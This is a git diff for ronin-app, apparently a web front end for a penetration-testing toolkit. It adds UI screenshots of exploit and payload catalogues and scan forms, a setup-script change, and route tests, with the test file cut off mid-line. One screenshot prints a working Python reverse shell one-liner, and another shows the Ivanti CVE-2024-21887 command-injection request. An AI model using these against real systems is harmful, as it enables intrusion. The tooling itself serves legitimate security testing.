+ + + + + + + + + + + + + + + + + + + Sidekiq Dashboard + + + + + + + + + + GitHub + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + home + + + + + repos + + + + + payloads + + + + + exploits + + + + + database + + + + + import + + + + + + + + + + + + + + + scanning + + + + + + queue + + + + + about + + + + + + + + + + + + + Database + + + + + + + + + + + Host Names (2) + + + + + + + + + + + + ASNs (0) + + + + + + + + + + + + IP Addresses (2) + + + + + + + + + + + + MAC Addresses (0) + + + + + + + + + + + + + + Open Ports (6) + + + + + + + + + + + + Ports (5) + + + + + + + + + + + + Services (5) + + + + + + + + + + + + Vulnerabilities (0) + + + + + + + + + + + + + + URLs (0) + + + + + + + + + + + + URL Schemes (0) + + + + + + + + + + + + URL Query Param Names (0) + + + + + + + + + + + + + + Email Addresses (0) + + + + + + + + + + + + User Names (0) + + + + + + + + + + + + Passwords (0) + + + + + + + + + + + + Credentials (0) + + + + + + + + + + + + + + Advisories (0) + + + + + + + + + + + + Software (0) + + + + + + + + + + + + Software Vendors (0) + + + + + + + + + + + + OSes (0) + + + + + + + + + + + + + + Phone Numbers (0) + + + + + + + + + + + + Street Addresses (0) + + + + + + + + + + + + Organizations (0) + + + + + + + + + + + + People (0) + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/screenshots/ronin_app_db_ip_address.svg b/screenshots/ronin_app_db_ip_address.svg new file mode 100644 index 0000000..12e6c32 --- /dev/null +++ b/screenshots/ronin_app_db_ip_address.svg @@ -0,0 +1,461 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Sidekiq Dashboard + + + + + + + + + + GitHub + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + home + + + + + repos + + + + + payloads + + + + + exploits + + + + + database + + + + + import + + + + + + + + + + + + + + + scanning + + + + + + queue + + + + + about + + + + + + + + + + + + + + + Home + + + + + + + / + + + + + Database + + + + + + + / + + + + + IP Addresses + + + + + + + + + + IP Address: 45.33.32.156 + + + + + + + + + + Delete + + + + + + + + + + + + + + + + + Address: + + + + + + + + + 45.33.32.156 + + + + + + + + + + + ASN: + + + + + + + + + + + + + + + + + Host Names: + + + + + + + + + + + scanme.nmap.org + + + + + + + + + + + + + Open Ports: + + + + + + + + + + + 45.33.32.156 22/tcp (ssh) + + + + + + + 45.33.32.156 80/tcp (http) + + + + + + + 45.33.32.156 9929/tcp (nping-echo) + + + + + + + 45.33.32.156 31337/tcp (Elite) + + + + + + + + + + + + + MAC Addresses: + + + + + + + + + + + + + + + + + Advisories: + + + + + + + + + + + + + + + + + Created: + + + + + + + + + 2024-06-15 00:19:35 UTC + + + + + + + + Scanned: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Add note + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/screenshots/ronin_app_exploits.svg b/screenshots/ronin_app_exploits.svg new file mode 100644 index 0000000..f26e5d7 --- /dev/null +++ b/screenshots/ronin_app_exploits.svg @@ -0,0 +1,249 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Sidekiq Dashboard + + + + + + + + + + GitHub + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + home + + + + + repos + + + + + payloads + + + + + exploits + + + + + database + + + + + import + + + + + + + + + + + + + + + scanning + + + + + + queue + + + + + about + + + + + + + + + + + + + Exploits + + + + + + activemq/CVE-2023-46604 + + + + + + + d-link/CVE-2024-3273 + + + + + + + flowmon/CVE-2024-2389 + + + + + + + ivanti/CVE-2024-21887 + + + + + + + sophos/CVE-2023-1671 + + + + + + + CVE-2023-27350 + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/screenshots/ronin_app_exploits_show.svg b/screenshots/ronin_app_exploits_show.svg new file mode 100644 index 0000000..a279f33 --- /dev/null +++ b/screenshots/ronin_app_exploits_show.svg @@ -0,0 +1,650 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Sidekiq Dashboard + + + + + + + + + + GitHub + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + home + + + + + repos + + + + + payloads + + + + + exploits + + + + + database + + + + + import + + + + + + + + + + + + + + + scanning + + + + + + queue + + + + + about + + + + + + + + + + + + + Exploit: ivanti/CVE-2024-21887 + + + + + + + + + + + + + + + Name: + + + + + + + + + + ivanti/CVE-2024-21887 + + + + + + + + + + + + Quality: + + + + + + + + + Untested + + + + + + + + + + + Release Date: + + + + + + + + + 2024-01-19 + + + + + + + + + + + Disclosure Date: + + + + + + + + + 2024-01-12 + + + + + + + + + + + Advisories: + + + + + + + + + + + + CVE-2024-21887 + + + + + + + + + + + + + + Software: + + + + + + + + + + + + + + + + + Software + Versions: + + + + + + + + + + + + + + + + + Authors: + + + + + + + + + + Postmodern ( + + + + postmodern.mod3@gmail.com + + + + ) + + + + + + + + + + + + + Summary: + + + + + + + + + Command injection in Ivanti Connect Secure and Policy Secure (9.x, 22.x) + + + + + + + + + + + Description: + + + + + + + + + + + + + + + + Ivanti Connect Secure and Invait Policy Secure versions 9.x and 22.x are +vulnerable to a command injection in the `/api/v1/license/keys-status/` +HTTP end-point. + + GET /api/v1/totp/user-backup-code/../../license/keys-status/;COMMAND + Content-Type: application/json + + + + + + + + + + + + + References: + + + + + + + + + + + https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti- + Policy-Secure-Gateways?language=en_US + + + + + + + https://github.com/zwxxb/CVE-2023-21887 + + + + + + + https://github.com/zwxxb/CVE-2023-21887/blob/main/3xp.py + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/screenshots/ronin_app_payloads.svg b/screenshots/ronin_app_payloads.svg new file mode 100644 index 0000000..9fa121d --- /dev/null +++ b/screenshots/ronin_app_payloads.svg @@ -0,0 +1,442 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Sidekiq Dashboard + + + + + + + + + + GitHub + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + home + + + + + repos + + + + + payloads + + + + + exploits + + + + + database + + + + + import + + + + + + + + + + + + + + + scanning + + + + + + queue + + + + + about + + + + + + + + + + + + + Payloads + + + + + + cmd/awk/reverse_shell + + + + + + + cmd/bash/reverse_shell + + + + + + + cmd/lua/reverse_shell + + + + + + + cmd/node/reverse_shell + + + + + + + cmd/openssl/reverse_shell + + + + + + + cmd/perl/reverse_shell + + + + + + + cmd/php/reverse_shell + + + + + + + cmd/powershell/reverse_shell + + + + + + + cmd/python/reverse_shell + + + + + + + cmd/ruby/reverse_shell + + + + + + + java/reverse_shell + + + + + + + php/cmd_exec + + + + + + + shellcode/freebsd/x86/bind_shell + + + + + + + shellcode/freebsd/x86/exec_shell + + + + + + + shellcode/freebsd/x86/reverse_shell + + + + + + + shellcode/freebsd/x86_64/exec_shell + + + + + + + shellcode/linux/arm/bind_shell + + + + + + + shellcode/linux/arm/exec_shell + + + + + + + shellcode/linux/arm/reverse_shell + + + + + + + shellcode/linux/mips/bind_shell + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/screenshots/ronin_app_payloads_build.svg b/screenshots/ronin_app_payloads_build.svg new file mode 100644 index 0000000..e824c3f --- /dev/null +++ b/screenshots/ronin_app_payloads_build.svg @@ -0,0 +1,413 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Sidekiq Dashboard + + + + + + + + + + GitHub + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + home + + + + + repos + + + + + payloads + + + + + exploits + + + + + database + + + + + import + + + + + + + + + + + + + + + scanning + + + + + + queue + + + + + about + + + + + + + + + + + + + + Build Payload: cmd/python/reverse_shell + + + + + + Params + + + + + + host + + + + + + + + + + + + 192.168.1.42 + + + + + + + + The host to connect back to + + + + + + + port + + + + + + + + + + + + 1337 + + + + + + + + The port to connect back to + + + + + + + + + + Build + + + + + + + Built Payload + + + + + + + + + + + + + + + + + Raw + + + + + + + Hex + + + + + + + C + + + + + + + Shell + + + + + + + PowerShell + + + + + + + XML + + + + + + + HTML + + + + + + + JavaScript + + + + + + + Ruby + + + + + + + + + + + + + + + python -c 'import socket,os,pty;s=socket.socket();s.connect(("192.168.1.42",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")' + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/screenshots/ronin_app_payloads_show.svg b/screenshots/ronin_app_payloads_show.svg new file mode 100644 index 0000000..4b5caaa --- /dev/null +++ b/screenshots/ronin_app_payloads_show.svg @@ -0,0 +1,483 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Sidekiq Dashboard + + + + + + + + + + GitHub + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + home + + + + + repos + + + + + payloads + + + + + exploits + + + + + database + + + + + import + + + + + + + + + + + + + + + scanning + + + + + + queue + + + + + about + + + + + + + + + + + + + Payload: shellcode/linux/x86_64/reverse_shell + + + + + + + + + + + + + + + Name: + + + + + + + + + + shellcode/linux/x86_64/reverse_shell + + + + + + + + + + + + Authors: + + + + + + + + + + Russell Willis ( + + + + codinguy@gmail.com + + + + ) + + + + + + + + + + + + + Summary: + + + + + + + + + Linux x86-64 reverse shell shellcode + + + + + + + + + + + Description: + + + + + + + + + + + + + + + + Linux x86-64 shellcode that spawns a connect back reverse shell. + + + + + + + + + + + + References: + + + + + + + + + + + https://shell-storm.org/shellcode/files/shellcode-857.html + + + + + + + + + + Params: + + + + + + + + + + + + + Name + + + + + Type + + + + + Required + + + + + Default + + + + + Description + + + + + + + + + + assembler + + + + + + + String + + + + + + + Required + + + + + + + as + + + + + + The assmebler command to use + + + + + + + + host + + + + + + + String + + + + + + + Required + + + + + + + + + The host to connect back to + + + + + + + + port + + + + + + + Integer + + + + + + + Required + + + + + + + + + The port to connect back to + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/screenshots/ronin_app_repos.svg b/screenshots/ronin_app_repos.svg new file mode 100644 index 0000000..6adfa31 --- /dev/null +++ b/screenshots/ronin_app_repos.svg @@ -0,0 +1,260 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Sidekiq Dashboard + + + + + + + + + + GitHub + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + home + + + + + repos + + + + + payloads + + + + + exploits + + + + + database + + + + + import + + + + + + + + + + + + + + + scanning + + + + + + queue + + + + + about + + + + + + + + + + + + + Repositories + + + + + + community-pocs + + + + + + + example-exploits + + + + + + + + + + + + Install + + + + + + + + + + + + Update + + + + + + + + + + + + + Purge + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/screenshots/ronin_app_repos_show.svg b/screenshots/ronin_app_repos_show.svg new file mode 100644 index 0000000..3e4e4c1 --- /dev/null +++ b/screenshots/ronin_app_repos_show.svg @@ -0,0 +1,367 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Sidekiq Dashboard + + + + + + + + + + GitHub + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + home + + + + + repos + + + + + payloads + + + + + exploits + + + + + database + + + + + import + + + + + + + + + + + + + + + scanning + + + + + + queue + + + + + about + + + + + + + + + + + + + Repository: community-pocs + + + + + + + + + + + + + + + Name: + + + + + + + + + community-pocs + + + + + + + + + + + URL: + + + + + + + + + https://github.com/ronin-rb/community-pocs.git + + + + + + + + Files: + + + + + + + CONTRIBUTING.md + + + + + COPYING.txt + + + + + README.md + + + + + SECURITY.md + + + + + exploits/activemq/CVE-2023-46604.rb + + + + + exploits/d-link/CVE-2024-3273.rb + + + + + exploits/flowmon/CVE-2024-2389.rb + + + + + exploits/ivanti/CVE-2024-21887.rb + + + + + exploits/sophos/CVE-2023-1671.rb + + + + + spec/exploits/d-link/CVE-2024-3273_spec.rb + + + + + spec/exploits/exploit_examples.rb + + + + + spec/exploits/flowmon/CVE-2024-2389_spec.rb + + + + + spec/exploits/ivanti/CVE-2024-21887_spec.rb + + + + + spec/exploits/sophos/CVE-2023-1671_spec.rb + + + + + spec/spec_helper.rb + + + + + + + + + + + + + + + Update + + + + + + + + + + + + + Remove + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/screenshots/ronin_app_scanning_masscan.svg b/screenshots/ronin_app_scanning_masscan.svg new file mode 100644 index 0000000..5462c6d --- /dev/null +++ b/screenshots/ronin_app_scanning_masscan.svg @@ -0,0 +1,617 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Sidekiq Dashboard + + + + + + + + + + GitHub + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + home + + + + + repos + + + + + payloads + + + + + exploits + + + + + database + + + + + import + + + + + + + + + + + + + + + scanning + + + + + + queue + + + + + about + + + + + + + + + + + + + + masscan + + + + + + + Targets + + + + * + + + + + + + + + + + + + 192.168.1.1/24 + + + + + + + + + + Ports + + + + * + + + + + + + + + + + + + 22,80,443,8000-9000 + + + + + + + + + + + + + Scan + + + + + + + + + + + + + + + General + + + + + + + + + + Timing + + + + + + + + + + Routing + + + + + + + + + + Exclude/Include + + + + + + + + + + Payload File + + + + + + + + + + HTTP + + + + + + + + + + Logging + + + + + + + + + + Tuning + + + + + + + + + + Randomization + + + + + + + + + + + Ping: + + + + + + + + + + + + on + + + + + + + + + Banners: + + + + + + + + + + + + on + + + + + + + + + Config File: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/screenshots/ronin_app_scanning_nmap.svg b/screenshots/ronin_app_scanning_nmap.svg new file mode 100644 index 0000000..f22b034 --- /dev/null +++ b/screenshots/ronin_app_scanning_nmap.svg @@ -0,0 +1,936 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Sidekiq Dashboard + + + + + + + + + + GitHub + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + home + + + + + repos + + + + + payloads + + + + + exploits + + + + + database + + + + + import + + + + + + + + + + + + + + + scanning + + + + + + queue + + + + + about + + + + + + + + + + + + + + nmap + + + + + + + Targets + + + + * + + + + + + + + + + + + + + + + + + + + + Ports + + + + + + + + + + + + + + + + + + + + + + + Scan + + + + + + + + + + + + + + + Target + + + + + + + + + + Host Discovery + + + + + + + + + + Port Scanning + + + + + + + + + + Scan Order + + + + + + + + + + Service Scan + + + + + + + + + + OS Detection + + + + + + + + + + Timing and Performance + + + + + + + + + + Evasion and Spoofing + + + + + + + + + + Misc + + + + + + + + + + + Target File + + + + + + + + + + + + + + + + + + + + Random Targets + + + + + + + + + + + + + + + + + + + + Exclude Targets + + + + + + + + + + + + + + + + + + + + Exclude File + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/screenshots/ronin_app_scanning_recon.svg b/screenshots/ronin_app_scanning_recon.svg new file mode 100644 index 0000000..2f8e079 --- /dev/null +++ b/screenshots/ronin_app_scanning_recon.svg @@ -0,0 +1,278 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Sidekiq Dashboard + + + + + + + + + + GitHub + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + home + + + + + repos + + + + + payloads + + + + + exploits + + + + + database + + + + + import + + + + + + + + + + + + + + + scanning + + + + + + queue + + + + + about + + + + + + + + + + + + + Recon + + + + + + + Scope + + + + * + + + + + + + + + + + + + + + + + + Ignore + + + + + + + + + + + + + + + + + + + + Recon + + + + + + + Max Depth + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/screenshots/ronin_app_scanning_spider.svg b/screenshots/ronin_app_scanning_spider.svg new file mode 100644 index 0000000..7b33e8b --- /dev/null +++ b/screenshots/ronin_app_scanning_spider.svg @@ -0,0 +1,517 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Sidekiq Dashboard + + + + + + + + + + GitHub + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + home + + + + + repos + + + + + payloads + + + + + exploits + + + + + database + + + + + import + + + + + + + + + + + + + + + scanning + + + + + + queue + + + + + about + + + + + + + + + + + + + + Spider + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + example.com + + + + + + + * + + + + + + + + + + + Spider + + + + + + + + + + + + + + + General + + + + + + + + + + Header + + + + + + + + + + Timeout + + + + + + + + + + Limit + + + + + + + + + + URI Normalization + + + + + + + + + + Allow/Ignore + + + + + + + + + + + + + + + + + + + + + + + + + Host Header: + + + + + + + + + + + + + + + + + + + + User-Agent Header: + + + + + + + + + + + + + + + + + + + + Referer Header: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/screenshots/ronin_app_scanning_vulns.svg b/screenshots/ronin_app_scanning_vulns.svg new file mode 100644 index 0000000..7b732e0 --- /dev/null +++ b/screenshots/ronin_app_scanning_vulns.svg @@ -0,0 +1,476 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Sidekiq Dashboard + + + + + + + + + + GitHub + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + home + + + + + repos + + + + + payloads + + + + + exploits + + + + + database + + + + + import + + + + + + + + + + + + + + + scanning + + + + + + queue + + + + + about + + + + + + + + + + + + + + Vulnerabilities + + + + + + + URL + + + + * + + + + + + + + + + + + + http://testphp.vulnweb.com/listproducts.php?cat=1 + + + + + + + + + + + + + Scan + + + + + + + + + + + + + + + LFI + + + + + + + + + + RFI + + + + + + + + + + SQLI + + + + + + + + + + SSTI + + + + + + + + + + Command Injection + + + + + + + + + + Open Redirect + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Escape Quote: + + + + + + + + + on + + + + + + + + + Escape Parens: + + + + + + + + + on + + + + + + + + + Terminate: + + + + + + + + + on + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/scripts/setup b/scripts/setup index 00d9b4e..167cae8 100755 --- a/scripts/setup +++ b/scripts/setup @@ -428,10 +428,16 @@ auto_install_bundler install_dependencies set_caps +# default to installing gems into vendor/bundle +if [[ ! -f .bundle/config ]]; then + bundle config set --local path vendor/bundle >/dev/null || \ + fail "Failed to run 'bundle config'" +fi + bundle install || fail "Failed to install gems!" -log "Creating the default database ..." -bundle exec rake db:migrate || fail "Failed to create database!" +log "Setting up the project ..." +bundle exec rake setup || fail "Failed to setup project!" log "ronin-app is now ready to be ran!" echo diff --git a/spec/middleware/sidekiq/active_record_connection_pool_spec.rb b/spec/middleware/sidekiq/active_record_connection_pool_spec.rb new file mode 100644 index 0000000..edab1de --- /dev/null +++ b/spec/middleware/sidekiq/active_record_connection_pool_spec.rb @@ -0,0 +1,46 @@ +require 'spec_helper' +require 'middleware/sidekiq/active_record_connection_pool' + +describe Middleware::Sidekiq::ActiveRecordConnectionPool do + describe "#call" do + let(:worker) { double('Worker') } + let(:job) { double('job') } + let(:queue) { double('queue') } + + it "must yield then call ActiveRecord::Base.connection_handler.clear_active_connections!" do + expect(ActiveRecord::Base.connection_handler).to receive(:clear_active_connections!) + + expect { |b| + subject.call(worker,job,queue,&b) + }.to yield_control + end + + context "when the block raises an exception" do + let(:message) { "error!" } + let(:exception) { RuntimeError.new(message) } + + it "must still call ActiveRecord::Base.connection_handler.clear_active_connections!" do + expect(ActiveRecord::Base.connection_handler).to receive(:clear_active_connections!) + + expect { + subject.call(worker,job,queue) do + raise(exception) + end + }.to raise_error(exception) + end + end + + context "when ActiveRecord::Base.connection_handler.clear_active_connections! raises an exception" do + let(:message) { "ActiveRecord error!" } + let(:exception) { RuntimeError.new(message) } + + it "must print the error message to stderr" do + expect(ActiveRecord::Base.connection_handler).to receive(:clear_active_connections!).and_raise(exception) + + expect { |b| + subject.call(worker,job,queue,&b) + }.to yield_control.and(output("#{message}#{$/}").to_stderr) + end + end + end +end diff --git a/spec/routes/db_spec.rb b/spec/routes/db_spec.rb new file mode 100644 index 0000000..8b138cb --- /dev/null +++ b/spec/routes/db_spec.rb @@ -0,0 +1,616 @@ +require 'spec_helper' +require './app' + +describe App, type: :feature do + after do + Ronin::DB::HostName.destroy_all + Ronin::DB::ASN.destroy_all + Ronin::DB::IPAddress.destroy_all + Ronin::DB::MACAddress.destroy_all + Ronin::DB::OpenPort.destroy_all + Ronin::DB::Port.destroy_all + Ronin::DB::Service.destroy_all + Ronin::DB::WebVuln.destroy_all + Ronin::DB::URL.destroy_all + Ronin::DB::URLScheme.destroy_all + Ronin::DB::Password.destroy_all + Ronin::DB::Credential.destroy_all + Ronin::DB::Advisory.destroy_all + Ronin::DB::Software.destroy_all + Ronin::DB::SoftwareVendor.destroy_all + Ronin::DB::OS.destroy_all + Ronin::DB::PhoneNumber.destroy_all + Ronin::DB::StreetAddress.destroy_all + Ronin::DB::Organization.destroy_all + Ronin::DB::Person.destroy_all + end + + context 'GET /db' do + [ + '/db/host_names', + '/db/asns', + '/db/ip_addresses', + '/db/mac_addresses', + '/db/open_ports', + '/db/ports', + '/db/services', + '/db/vulns', + '/db/urls', + '/db/url_schemes', + '/db/passwords', + '/db/credentials', + '/db/advisories', + '/db/software', + '/db/software_vendors', + '/db/oses', + '/db/phone_numbers', + '/db/street_addresses', + '/db/organizations', + '/db/people' + ].each do |path| + it "must contain a link to #{path}" do + visit '/db' + + expect(page).to have_xpath("//a[@href='#{path}']") + end + end + end + + context 'GET /db/host_names' do + let!(:host_name) { Ronin::DB::HostName.find_or_import('example.com') } + let(:xpath) { "//a[text()='#{host_name}'][@href='/db/host_names/#{host_name.id}']" } + + it 'must return status 200 and include link to a host name in the body' do + visit '/db/host_names' + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(xpath) + end + end + + context 'GET /db/host_names/:id' do + let!(:host_name) { Ronin::DB::HostName.find_or_import('example.com') } + let(:header_xpath) { "//h1[text()='Host Name: #{host_name}']" } + + it 'must return status 200 and include records data' do + visit "/db/host_names/#{host_name.id}" + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(header_xpath) + end + end + + context 'GET /db/asns' do + let!(:asn) { Ronin::DB::ASN.find_or_create_by(version: 4, range_start: '1.2.3.4', range_end: '1.2.3.4', number: 1234) } + let(:xpath) { "//a[text()='#{asn}'][@href='/db/asns/#{asn.id}']" } + + it 'must return status 200 and include link to a asn in the body' do + visit '/db/asns' + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(xpath) + end + end + + context 'GET /db/asns/:id' do + let!(:asn) { Ronin::DB::ASN.find_or_create_by(version: 4, range_start: '1.2.3.4', range_end: '1.2.3.4', number: 1234) } + let(:header_xpath) { "//h1[text()='ASN: #{asn}']" } + + it 'must return status 200 and include records data' do + visit "/db/asns/#{asn.id}" + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(header_xpath) + end + end + + context 'GET /db/ip_addresses' do + let!(:ip_address) { Ronin::DB::IPAddress.find_or_import('1.2.3.4') } + let(:xpath) { "//a[text()='#{ip_address}'][@href='/db/ip_addresses/#{ip_address.id}']" } + + it 'must return status 200 and include link to a ip address in the body' do + visit '/db/ip_addresses' + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(xpath) + end + end + + context 'GET /db/ip_addresses/:id' do + let!(:ip_address) { Ronin::DB::IPAddress.find_or_import('1.2.3.4') } + let(:header_xpath) { "//h1[text()='IP Address: #{ip_address}']" } + + it 'must return status 200 and include records data' do + visit "/db/ip_addresses/#{ip_address.id}" + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(header_xpath) + end + end + + context 'GET /db/mac_addresses' do + let!(:mac_address) { Ronin::DB::MACAddress.find_or_import('01:23:45:67:89:ab') } + let(:xpath) { "//a[text()='#{mac_address}'][@href='/db/mac_addresses/#{mac_address.id}']" } + + it 'must return status 200 and include link to a mac address in the body' do + visit '/db/mac_addresses' + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(xpath) + end + end + + context 'GET /db/mac_addresses/:id' do + let!(:mac_address) { Ronin::DB::MACAddress.find_or_import('01:23:45:67:89:ab') } + let(:header_xpath) { "//h1[text()='MAC Address: #{mac_address}']" } + + it 'must return status 200 and include records data' do + visit "/db/mac_addresses/#{mac_address.id}" + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(header_xpath) + end + end + + context 'GET /db/open_ports' do + let!(:port) { Ronin::DB::Port.find_or_create_by(number: 11) } + let!(:ip_address) { Ronin::DB::IPAddress.find_or_import('1.2.3.4') } + let!(:open_port) { Ronin::DB::OpenPort.find_or_create_by(port: port, ip_address: ip_address) } + let(:xpath) { "//a[text()='#{open_port}'][@href='/db/open_ports/#{open_port.id}']" } + + it 'must return status 200 and include link to a mac address in the body' do + visit '/db/open_ports' + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(xpath) + end + end + + context 'GET /db/open_ports/:id' do + let!(:port) { Ronin::DB::Port.find_or_create_by(number: 11) } + let!(:ip_address) { Ronin::DB::IPAddress.find_or_import('1.2.3.4') } + let!(:open_port) { Ronin::DB::OpenPort.find_or_create_by(port: port, ip_address: ip_address) } + let(:header_xpath) { "//h1[text()='Open Port: #{open_port}']" } + + it 'must return status 200 and include records data' do + visit "/db/open_ports/#{open_port.id}" + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(header_xpath) + end + end + + context 'GET /db/ports' do + let!(:port) { Ronin::DB::Port.find_or_create_by(number: 11) } + let(:xpath) { "//a[text()='#{port}'][@href='/db/ports/#{port.id}']" } + + it 'must return status 200 and include link to a port in the body' do + visit '/db/ports' + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(xpath) + end + end + + context 'GET /db/ports/:id' do + let!(:port) { Ronin::DB::Port.find_or_create_by(number: 11) } + let(:header_xpath) { "//h1[text()='Port: #{port}']" } + + it 'must return status 200 and include records data' do + visit "/db/ports/#{port.id}" + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(header_xpath) + end + end + + context 'GET /db/services' do + let!(:service) { Ronin::DB::Service.find_or_import('https') } + let(:xpath) { "//a[text()='#{service}'][@href='/db/services/#{service.id}']" } + + it 'must return status 200 and include link to a services in the body' do + visit '/db/services' + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(xpath) + end + end + + context 'GET /db/services/:id' do + let!(:service) { Ronin::DB::Service.find_or_import('https') } + let(:header_xpath) { "//h1[text()='Service: #{service}']" } + + it 'must return status 200 and include records data' do + visit "/db/services/#{service.id}" + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(header_xpath) + end + end + + context 'GET /db/vulns' do + let!(:url) { Ronin::DB::URL.find_or_import('http://example.com') } + let!(:vuln) { Ronin::DB::WebVuln.find_or_create_by(url: url, type: 'reflected_xss', query_param: 'cat', request_method: :get) } + let(:xpath) { "//a[text()='#{vuln.url}'][@href='/db/vulns/#{vuln.id}']" } + + it 'must return status 200 and include link to a vulns in the body' do + visit '/db/vulns' + + expect(page.status_code).to eq(200) + expect(page).to have_xpath(xpath) + end + end + + context 'GET /db/vulns/:id' do + let!(:url) { Ronin::DB::URL.find_or_import('http://example.com') } + let!(:vuln) { Ronin::DB::WebVuln.find_or_create_by(url: url, type: 'reflected_xss', query_param: 'cat', request_method: :get) } + let(:header_xpath) { "//h1[text()='Vulnerability: #{vuln.url}']" } + + it 'must 